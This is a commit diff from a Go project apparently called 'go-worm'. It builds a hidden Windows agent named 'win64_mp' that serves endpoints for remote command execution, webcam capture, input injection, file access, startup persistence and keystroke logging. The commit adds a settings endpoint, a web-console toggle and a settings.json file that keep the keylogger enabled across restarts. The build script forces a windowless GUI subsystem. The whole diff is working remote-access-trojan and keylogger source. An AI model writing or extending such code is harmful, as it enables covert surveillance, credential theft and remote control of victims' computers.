feat(agent): add persistent klogging settings
- Add settings API and UI to toggle keylog - Persist preference in settings.json - Expose klogging state in status endpoint - Inject build version into web console - Bump version automatically on build
This commit is contained in:
@@ -97,6 +97,7 @@ func (a *Agent) Serve() error {
|
||||
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
|
||||
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
||||
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
||||
mux.HandleFunc("/api/v1/settings", a.handleSettings)
|
||||
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
||||
mux.HandleFunc("/api/v1/input/key", a.handleKey)
|
||||
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
||||
|
||||
@@ -56,6 +56,7 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
|
||||
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
|
||||
"agent_version": config.Version, "listen_address": a.addr,
|
||||
"startup_enabled": startup.Enabled(),
|
||||
"klogging": keylog.Running(),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -80,6 +81,38 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
|
||||
}
|
||||
|
||||
func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
||||
"klogging": config.KeylogEnabled(),
|
||||
"klogging_running": keylog.Running(),
|
||||
})
|
||||
case http.MethodPut:
|
||||
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
||||
defer r.Body.Close()
|
||||
var body struct {
|
||||
Klogging *bool `json:"klogging"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Klogging == nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "klogging is required")
|
||||
return
|
||||
}
|
||||
if err := keylog.SetEnabled(*body.Klogging); err != nil {
|
||||
helpers.Log.Printf("klogging set: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not update klogging")
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
||||
"klogging": config.KeylogEnabled(),
|
||||
"klogging_running": keylog.Running(),
|
||||
})
|
||||
default:
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"embed"
|
||||
"net/http"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
)
|
||||
|
||||
@@ -33,6 +35,9 @@ func (a *Agent) handleWeb(w http.ResponseWriter, r *http.Request) {
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "ui asset missing")
|
||||
return
|
||||
}
|
||||
if name == "web/index.html" {
|
||||
data = bytes.ReplaceAll(data, []byte("{{VERSION}}"), []byte(config.Version))
|
||||
}
|
||||
w.Header().Set("Content-Type", contentType)
|
||||
w.Header().Set("Cache-Control", "no-cache")
|
||||
_, _ = w.Write(data)
|
||||
|
||||
@@ -15,6 +15,9 @@
|
||||
const startupState = document.getElementById("startup-state");
|
||||
const startupAdd = document.getElementById("startup-add");
|
||||
const startupRemove = document.getElementById("startup-remove");
|
||||
const keylogState = document.getElementById("keylog-state");
|
||||
const keylogEnable = document.getElementById("keylog-enable");
|
||||
const keylogDisable = document.getElementById("keylog-disable");
|
||||
const videoCanvas = document.getElementById("video-canvas");
|
||||
const videoMeta = document.getElementById("video-meta");
|
||||
const videoStart = document.getElementById("video-start");
|
||||
@@ -118,6 +121,10 @@
|
||||
async function loadStatus() {
|
||||
const res = await api("/api/v1/status");
|
||||
const data = await res.json();
|
||||
const verEl = document.getElementById("app-version");
|
||||
if (verEl && data.agent_version) {
|
||||
verEl.textContent = data.agent_version;
|
||||
}
|
||||
const fields = [
|
||||
["Hostname", data.hostname],
|
||||
["User", data.user],
|
||||
@@ -128,10 +135,12 @@
|
||||
["Uptime", `${data.uptime_seconds}s`],
|
||||
["Local IPs", (data.local_ips || []).join(", ") || "—"],
|
||||
["Startup", data.startup_enabled ? "enabled" : "disabled"],
|
||||
["klogging", data.klogging ? "on" : "off"],
|
||||
];
|
||||
setStartup(Boolean(data.startup_enabled));
|
||||
currentListen = data.listen_address || "";
|
||||
syncUpdateMeta();
|
||||
loadSettings().catch((err) => showError(err.message));
|
||||
statusFields.replaceChildren(
|
||||
...fields.map(([label, value]) => {
|
||||
const item = document.createElement("div");
|
||||
@@ -303,6 +312,29 @@
|
||||
startupRemove.disabled = !enabled;
|
||||
}
|
||||
|
||||
function setKeylog(enabled) {
|
||||
keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
|
||||
keylogEnable.disabled = enabled;
|
||||
keylogDisable.disabled = !enabled;
|
||||
}
|
||||
|
||||
async function loadSettings() {
|
||||
const res = await api("/api/v1/settings");
|
||||
const data = await res.json();
|
||||
setKeylog(Boolean(data.klogging));
|
||||
}
|
||||
|
||||
async function setKeylogEnabled(enabled) {
|
||||
const res = await api("/api/v1/settings", {
|
||||
method: "PUT",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ klogging: enabled }),
|
||||
});
|
||||
const data = await res.json();
|
||||
setKeylog(Boolean(data.klogging));
|
||||
loadStatus().catch((err) => showError(err.message));
|
||||
}
|
||||
|
||||
async function setStartupEnabled(enabled) {
|
||||
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
|
||||
const data = await res.json();
|
||||
@@ -682,6 +714,9 @@
|
||||
if (button.dataset.tab === "logs") {
|
||||
listKeylogs().catch((err) => showError(err.message));
|
||||
}
|
||||
if (button.dataset.tab === "settings") {
|
||||
loadSettings().catch((err) => showError(err.message));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -694,6 +729,12 @@
|
||||
startupRemove.addEventListener("click", () => {
|
||||
setStartupEnabled(false).catch((err) => showError(err.message));
|
||||
});
|
||||
keylogEnable.addEventListener("click", () => {
|
||||
setKeylogEnabled(true).catch((err) => showError(err.message));
|
||||
});
|
||||
keylogDisable.addEventListener("click", () => {
|
||||
setKeylogEnabled(false).catch((err) => showError(err.message));
|
||||
});
|
||||
document.getElementById("file-list").addEventListener("click", () => {
|
||||
listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
|
||||
});
|
||||
|
||||
@@ -122,6 +122,14 @@
|
||||
font-size: 1.05rem;
|
||||
line-height: 1.2;
|
||||
}
|
||||
.brand-text .ver {
|
||||
margin-left: 0.45rem;
|
||||
font-size: 0.78rem;
|
||||
font-weight: 500;
|
||||
font-family: var(--mono);
|
||||
color: var(--text-muted);
|
||||
letter-spacing: 0;
|
||||
}
|
||||
.brand-text p {
|
||||
margin-top: 0.1rem;
|
||||
font-size: 0.78rem;
|
||||
@@ -711,7 +719,7 @@
|
||||
</svg>
|
||||
</div>
|
||||
<div class="brand-text">
|
||||
<h1>win64_mp</h1>
|
||||
<h1>win64_mp <span id="app-version" class="ver">{{VERSION}}</span></h1>
|
||||
<p>Local agent console</p>
|
||||
</div>
|
||||
</div>
|
||||
@@ -728,6 +736,7 @@
|
||||
<button data-tab="webcam" type="button">Webcam</button>
|
||||
<button data-tab="exec" type="button">Command</button>
|
||||
<button data-tab="update" type="button">Update</button>
|
||||
<button data-tab="settings" type="button">Settings</button>
|
||||
<button data-tab="logs" type="button">Logs</button>
|
||||
</nav>
|
||||
|
||||
@@ -909,6 +918,21 @@
|
||||
<p id="update-result" class="meta"></p>
|
||||
</section>
|
||||
|
||||
<section id="settings" class="panel">
|
||||
<div class="panel-head">
|
||||
<div>
|
||||
<h2>Settings</h2>
|
||||
<p class="lede">Toggle host-side hooks. Changes persist across restarts.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="startup-card">
|
||||
<span id="keylog-state" class="meta">klogging: —</span>
|
||||
<button id="keylog-enable" type="button">Enable</button>
|
||||
<button id="keylog-disable" class="danger" type="button">Disable</button>
|
||||
</div>
|
||||
<p class="hint">klogging runs in-process. If the agent is crashing, leave this off.</p>
|
||||
</section>
|
||||
|
||||
<section id="logs" class="panel">
|
||||
<div class="panel-head">
|
||||
<div>
|
||||
|
||||
+11
-1
@@ -8,8 +8,10 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// Version is the agent build version. scripts/build.sh overwrites this via -X.
|
||||
var Version = "1.0.0"
|
||||
|
||||
const (
|
||||
Version = "1.0.0"
|
||||
DefaultAddr = "0.0.0.0:5032"
|
||||
MutexName = "win64_mp_Mutex"
|
||||
RestartDelay = 3 * time.Second
|
||||
@@ -32,6 +34,7 @@ const (
|
||||
KeylogSubdir = "keystrokes"
|
||||
LogsSubdir = "logs"
|
||||
ClipboardSubdir = "clipboard"
|
||||
SettingsFileName = "settings.json"
|
||||
WatchdogTaskName = "win64_mp_watchdog"
|
||||
DefaultKeylogRetentionDays = 7
|
||||
AuthUser = "admin"
|
||||
@@ -46,6 +49,13 @@ func EnvOr(name, fallback string) string {
|
||||
}
|
||||
|
||||
func KeylogEnabled() bool {
|
||||
if on, ok := readKeylogPref(); ok {
|
||||
return on
|
||||
}
|
||||
return envKeylogEnabled()
|
||||
}
|
||||
|
||||
func envKeylogEnabled() bool {
|
||||
switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
|
||||
case "0", "false", "no", "off":
|
||||
return false
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
type fileSettings struct {
|
||||
Klogging *bool `json:"klogging,omitempty"`
|
||||
KeylogEnabled *bool `json:"keylog_enabled,omitempty"` // legacy
|
||||
}
|
||||
|
||||
func settingsPath() (string, error) {
|
||||
dir, err := InstallDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(dir, SettingsFileName), nil
|
||||
}
|
||||
|
||||
func readKeylogPref() (bool, bool) {
|
||||
s, err := loadFileSettings()
|
||||
if err != nil {
|
||||
return false, false
|
||||
}
|
||||
if s.Klogging != nil {
|
||||
return *s.Klogging, true
|
||||
}
|
||||
if s.KeylogEnabled != nil {
|
||||
return *s.KeylogEnabled, true
|
||||
}
|
||||
return false, false
|
||||
}
|
||||
|
||||
func SetKeylogEnabled(on bool) error {
|
||||
s, err := loadFileSettings()
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
s = fileSettings{}
|
||||
}
|
||||
s.Klogging = &on
|
||||
s.KeylogEnabled = nil
|
||||
return saveFileSettings(s)
|
||||
}
|
||||
|
||||
func loadFileSettings() (fileSettings, error) {
|
||||
path, err := settingsPath()
|
||||
if err != nil {
|
||||
return fileSettings{}, err
|
||||
}
|
||||
raw, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return fileSettings{}, err
|
||||
}
|
||||
var s fileSettings
|
||||
if err := json.Unmarshal(raw, &s); err != nil {
|
||||
return fileSettings{}, err
|
||||
}
|
||||
return s, nil
|
||||
}
|
||||
|
||||
func saveFileSettings(s fileSettings) error {
|
||||
path, err := settingsPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil {
|
||||
return err
|
||||
}
|
||||
raw, err := json.Marshal(s)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(path, append(raw, '\n'), 0o600)
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestKeylogPrefOverridesEnv(t *testing.T) {
|
||||
base := t.TempDir()
|
||||
t.Setenv("XDG_CONFIG_HOME", base)
|
||||
t.Setenv("APPDATA", base)
|
||||
t.Setenv("KEYLOG_ENABLED", "1")
|
||||
|
||||
if !KeylogEnabled() {
|
||||
t.Fatal("expected env default on")
|
||||
}
|
||||
if err := SetKeylogEnabled(false); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if KeylogEnabled() {
|
||||
t.Fatal("pref should disable keylog")
|
||||
}
|
||||
if err := SetKeylogEnabled(true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !KeylogEnabled() {
|
||||
t.Fatal("pref should enable keylog")
|
||||
}
|
||||
raw, err := os.ReadFile(filepath.Join(base, AppDataDir, SettingsFileName))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var s fileSettings
|
||||
if err := json.Unmarshal(raw, &s); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if s.Klogging == nil || !*s.Klogging {
|
||||
t.Fatalf("saved settings = %s", raw)
|
||||
}
|
||||
if s.KeylogEnabled != nil {
|
||||
t.Fatalf("legacy keylog_enabled should be dropped, got %s", raw)
|
||||
}
|
||||
}
|
||||
@@ -17,6 +17,23 @@ var (
|
||||
writerWG sync.WaitGroup
|
||||
)
|
||||
|
||||
func Running() bool {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
return running
|
||||
}
|
||||
|
||||
func SetEnabled(on bool) error {
|
||||
if err := config.SetKeylogEnabled(on); err != nil {
|
||||
return err
|
||||
}
|
||||
if !on {
|
||||
Stop()
|
||||
return nil
|
||||
}
|
||||
return Start()
|
||||
}
|
||||
|
||||
func Start() error {
|
||||
if !config.KeylogEnabled() {
|
||||
return nil
|
||||
|
||||
+44
-10
@@ -247,6 +247,25 @@ func Spec() map[string]any {
|
||||
}),
|
||||
},
|
||||
},
|
||||
"/api/v1/settings": map[string]any{
|
||||
"get": map[string]any{
|
||||
"summary": "Read agent settings",
|
||||
"operationId": "getSettings",
|
||||
"responses": auth(map[string]any{
|
||||
"200": okJSON("Current settings", ref("Settings")),
|
||||
}),
|
||||
},
|
||||
"put": map[string]any{
|
||||
"summary": "Update agent settings",
|
||||
"operationId": "updateSettings",
|
||||
"description": "Persist klogging on/off. Disabling unhooks the keyboard hook immediately.",
|
||||
"requestBody": jsonBody(ref("SettingsUpdate")),
|
||||
"responses": auth(map[string]any{
|
||||
"200": okJSON("Updated settings", ref("Settings")),
|
||||
"400": errResp("Invalid body"),
|
||||
}),
|
||||
},
|
||||
},
|
||||
"/api/v1/update": map[string]any{
|
||||
"post": map[string]any{
|
||||
"summary": "Deploy uploaded agent executable on alternate port",
|
||||
@@ -348,15 +367,16 @@ func Spec() map[string]any {
|
||||
"Status": map[string]any{
|
||||
"type": "object",
|
||||
"properties": map[string]any{
|
||||
"os": map[string]string{"type": "string"},
|
||||
"architecture": map[string]string{"type": "string"},
|
||||
"user": map[string]string{"type": "string"},
|
||||
"hostname": map[string]string{"type": "string"},
|
||||
"uptime_seconds": map[string]any{"type": "integer", "format": "int64"},
|
||||
"local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}},
|
||||
"agent_version": map[string]string{"type": "string"},
|
||||
"listen_address": map[string]string{"type": "string"},
|
||||
"startup_enabled": map[string]any{"type": "boolean"},
|
||||
"os": map[string]string{"type": "string"},
|
||||
"architecture": map[string]string{"type": "string"},
|
||||
"user": map[string]string{"type": "string"},
|
||||
"hostname": map[string]string{"type": "string"},
|
||||
"uptime_seconds": map[string]any{"type": "integer", "format": "int64"},
|
||||
"local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}},
|
||||
"agent_version": map[string]string{"type": "string"},
|
||||
"listen_address": map[string]string{"type": "string"},
|
||||
"startup_enabled": map[string]any{"type": "boolean"},
|
||||
"klogging": map[string]any{"type": "boolean"},
|
||||
},
|
||||
},
|
||||
"FileItem": map[string]any{
|
||||
@@ -418,9 +438,23 @@ func Spec() map[string]any {
|
||||
},
|
||||
},
|
||||
"StartupState": map[string]any{
|
||||
"type": "object",
|
||||
"type": "object",
|
||||
"properties": map[string]any{"startup_enabled": map[string]any{"type": "boolean"}},
|
||||
},
|
||||
"Settings": map[string]any{
|
||||
"type": "object",
|
||||
"properties": map[string]any{
|
||||
"klogging": map[string]any{"type": "boolean"},
|
||||
"klogging_running": map[string]any{"type": "boolean"},
|
||||
},
|
||||
},
|
||||
"SettingsUpdate": map[string]any{
|
||||
"type": "object",
|
||||
"required": []string{"klogging"},
|
||||
"properties": map[string]any{
|
||||
"klogging": map[string]any{"type": "boolean"},
|
||||
},
|
||||
},
|
||||
"ClickRequest": map[string]any{
|
||||
"type": "object", "required": []string{"x", "y", "button"},
|
||||
"properties": map[string]any{
|
||||
|
||||
@@ -28,4 +28,18 @@ func TestSpec(t *testing.T) {
|
||||
if !ok || len(schemas) < 10 {
|
||||
t.Fatalf("expected schemas, got %d", len(schemas))
|
||||
}
|
||||
status, ok := schemas["Status"].(map[string]any)
|
||||
if !ok {
|
||||
t.Fatal("missing Status schema")
|
||||
}
|
||||
props, ok := status["properties"].(map[string]any)
|
||||
if !ok {
|
||||
t.Fatal("missing Status properties")
|
||||
}
|
||||
if _, ok := props["klogging"]; !ok {
|
||||
t.Fatal("Status missing klogging")
|
||||
}
|
||||
if _, ok := props["keylog_enabled"]; ok {
|
||||
t.Fatal("Status still has keylog_enabled")
|
||||
}
|
||||
}
|
||||
|
||||
+17
-2
@@ -4,7 +4,22 @@ set -euo pipefail
|
||||
cd "$(dirname "$0")/.."
|
||||
|
||||
out="${1:-win64_mp.exe}"
|
||||
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" .
|
||||
|
||||
version_file="VERSION"
|
||||
if [[ ! -f "$version_file" ]]; then
|
||||
echo "1.0.0" > "$version_file"
|
||||
fi
|
||||
old="$(tr -d '[:space:]' < "$version_file")"
|
||||
if [[ ! "$old" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
|
||||
echo "bad VERSION: $old" >&2
|
||||
exit 1
|
||||
fi
|
||||
IFS=. read -r major minor patch <<< "$old"
|
||||
ver="${major}.${minor}.$((10#$patch + 1))"
|
||||
printf '%s\n' "$ver" > "$version_file"
|
||||
|
||||
ldflags="-s -w -H windowsgui -X tea.chunkbyte.com/kato/go-worm/lib/config.Version=${ver}"
|
||||
GOOS=windows GOARCH=amd64 go build -ldflags "$ldflags" -o "$out" .
|
||||
# Belt-and-suspenders: PE subsystem WINDOWS (2) even if ldflags were dropped.
|
||||
python3 - "$out" <<'PY'
|
||||
import struct, sys
|
||||
@@ -24,4 +39,4 @@ with open(path, "r+b") as f:
|
||||
f.write(struct.pack("<H", 2))
|
||||
print(f"pe subsystem=gui {path}")
|
||||
PY
|
||||
echo "built $out"
|
||||
echo "built $out $ver"
|
||||
|
||||
Reference in New Issue
Block a user